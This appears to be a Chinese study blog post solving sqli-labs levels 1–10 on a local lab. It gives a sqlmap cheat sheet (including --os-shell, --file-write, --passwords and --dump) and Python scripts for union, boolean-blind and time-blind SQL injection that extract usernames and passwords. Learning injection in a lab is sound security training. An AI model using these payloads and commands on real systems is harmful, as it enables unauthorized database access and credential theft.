sqli-labs(1~10)脚本、sqlmap学习
一些准备
- 安装sqlmap
- 命令行pip install requests 检查时候安装request或者需要更新,否则无法使用;
- 加引号快捷键用不,用正则表达式进行替换
(.*?):(.*)
'$1':'$2',
sqlmap基础知识
- sqlmap常见步骤:
sqlmap -u url --dbs #获取数据库
sqlmap -u url --current-user #获取当前用户名称 :
sqlmap -u url --current-db #获取当前数据库名称
sqlmap -u url -D 数据库名 --tables #列出表名 :
sqlmap -u url -D 数据库名 -T 表名 --columns #列出字段
sqlmap -u url -D 数据库名 -T 表名 -C 字段名1,字段名2,…… --dump #获取字段内容
- 常见参数
--cookie=cookie的内容 设置cookie 值 通常配合获取数据库使用
--data 设置 POST 提交的值
-u 指定目标 URL
-b 获取 DBMS banner
--current-db 获取当前数据库
--current-user 获取当前数据库的用户
--tables 获取数据库里所有的表名
--columns 获取表里的所有字段
--dump 获取字段中的内容
--current-user 获取当前用户
-D [数据库名] 指定数据库名
-T [表名] 指定表名
-C [字段名] 指定字段名
--string 当查询可用时用来匹配页面中的字符串
--users 枚举所有用户
--passwords 枚举所有用户的密码hsah
--dbs 枚举数据库中的数据库名
-r 指定请求包
GET型注入一般用 sqlmap -u url
POST型注入一般用 sqlmap -u url --data POST参数
- 常见命令
--sql-query=" " 执行查询语句
--level 5 探测等级(1~5 默认为1,等级越高Payload越多,速度也比较慢)
--is-dba 判断当前用户是否是管理员权限
--roles 列出数据库管理员角色(仅适用与Oracle数据库)
--referer HTTP Referer头(伪造HTTP头中的Referer,当--level等级大于等于3时会通过伪造Referer来进行注入)
--sql-shell 运行自定义SQL语句 用法:sqlmap -u url --sql-shell
--os-cmd,--os-shell 运行任意操作系统命令(仅支持MySQL、PostgreSQL、SQL Server)
--file-read 从数据库服务器中读取文件(要知道文件绝对路径)
--file-write "本地文件路径" --file-dest "远程绝对路径" 上传文件到数据库服务器中
less-1(普普通通的get)
脚本:获取用户和密码
import urllib.parse #解析url
import http.client #实现了所有 HTTP 的方法(GET、POST、PUT、HEAD、DELETE、HEAD、OPTIONS 等)
#支持 HTTPS 协议
#支持代理服务器(Nginx等)等
#支持自动(跳转)转向
url = "127.0.0.1"
#body必须url编码,可用urllib.parse.quote()转,或者浏览器上转
body="/sqli/Less-1/?id=-1%27%20union%20select%201,2,group_concat(concat_ws(%27~%27,username,password))from%20security.users--+"
c = http.client.HTTPConnection(url) #确定对象
c.request("GET", body) #确定方式
r = c.getresponse()
print(r.status, r.reason) #状态字,状态原因
data = r.read()
print(data)
结果
less-2
id=-1--+,其他都一样
less-3
id=-1')--+,其他都一样
less-4
id=-1")--+,其他都一样
less-5(get盲注)
知识点补充:
%s 在python中用法:
1. %10s代表输出宽度为10个字符,如果输出的字符串不超过10,则在左边补空格;宽度超过10,按原长度输出
2. %-10s表示如果输出的字符串宽度不超过10,则在右边补齐空格;宽度超过10,按原长度输出
3. %.10s表示截取前10个字符,若原长度不够10,则原样输出
4. %s 作为待定字符,在后%(i,j)可进行替换,达到爆破效果
脚本:爆破数据库名称
import urllib.parse
import http.client
#爆破字典
d = list('abcdefghijklmnopqrstuvwxyz')
name = ''
url = "127.0.0.1"
#不确定字数情况下,可以手注确认或者把爆破字数范围扩大
for i in range(1,20):
for j in d:
c = http.client.HTTPConnection(url)
# 一个大坑:必须是url编码,除了%s外都是%%前缀,否则会报错
body = "/sqli/Less-5/?id=1%%27%%20and%%20mid(database(),%s,1)=%%27%s%%27--+" % (i,j)
print(body)
c.request("GET", body) #确定方式
r = c.getresponse() #提取响应包
data = r.read()
c.close()
#确认正确的一项,拼接
if data.find(b'You are in') >0:
name += j
print(j)
break
else:
print("no")
print(name)
结果
less-6(sqlmap+脚本)
(emmmmm,不得不说第一次使用sqlmap,怀疑自己之前爆破个库名都死去活来,是不是傻= =)
查看库名
sqlmap.py -u "http://127.0.0.1/sqli/Less-6/?id=1/" --dbs
查看表名
sqlmap.py -u "http://127.0.0.1/sqli/Less-6/?id=1/" --tables
查看列名
sqlmap.py -u "http://127.0.0.1/sqli/Less-6/?id=1/" -D "security" -T "users" --columns
查看用户密码
sqlmap.py -u "http://127.0.0.1/sqli/Less-6/?id=1/" -D "security" -T "users" -C "id","password" --dump
脚本:查询id=2的用户密码
# 复制粘贴修改body
import urllib.parse
import http.client
#爆破字典
d = list('abcdefghijklmnopqrstuvwxyz123456789-_')
name = ''
url = "127.0.0.1"
#不确定字数情况下,可以手注确认或者把爆破字数范围扩大
for i in range(1,15):
for j in d:
c = http.client.HTTPConnection(url)
body = "/sqli/Less-6/?id=1%%22%%20and%%20mid((select%%20password%%20from%%20security.users%%20where%%20id=2),%s,1)=%%27%s%%27%%20--+" % (i,j)
print(body)
c.request("GET", body) #确定方式
r = c.getresponse() #提取响应包
data = r.read()
c.close()
#确认正确的一项,拼接
if data.find(b'You are in') >0:
name += j
print(j)
break
else:
print("no")
print(name)
结果
less-7
id=1'))--+,布尔盲注,脚本基本一样
练习一下sqlmap
查询开头为a的用户和密码
sqlmap.py -u "http://127.0.0.1/sqli/Less-7/?id=1/" -D "security" -T "users" --sql-query="select username,password from users where username like 'a%'";
less-8
id=1'--+,其他一样
less-9(时间盲注)
脚本:id=2的用户名,要多运行一两次,排除因为网速出现的延迟
import time
import urllib.parse
import http.client
#爆破字典
d = list('abcdefghijklmnopqrstuvwxyz')
name = ''
url = "127.0.0.1"
#不确定字数情况下,可以手注确认或者把爆破字数范围扩大
for i in range(1,15):
for j in d:
time1=time.time() #开始时间
c=http.client.HTTPConnection(url)
body="/sqli/Less-9/?id=1%%27%%20and%%20if(mid((select%%20username%%20from%%20security.users%%20where%%20id=2),%s,1)=%%27%s%%27,sleep(1),0)--+"%(i,j)
print(body)
c.request("GET", body) #确定方式
r = c.getresponse() #提取响应包
time2=time.time() #结束时间
data = r.read()
c.close()
#确认正确的一项,拼接
if time2-time1 >1:
name += j
print(j)
break
print(name)
结果
less-10
id=1"--+,其他和9一样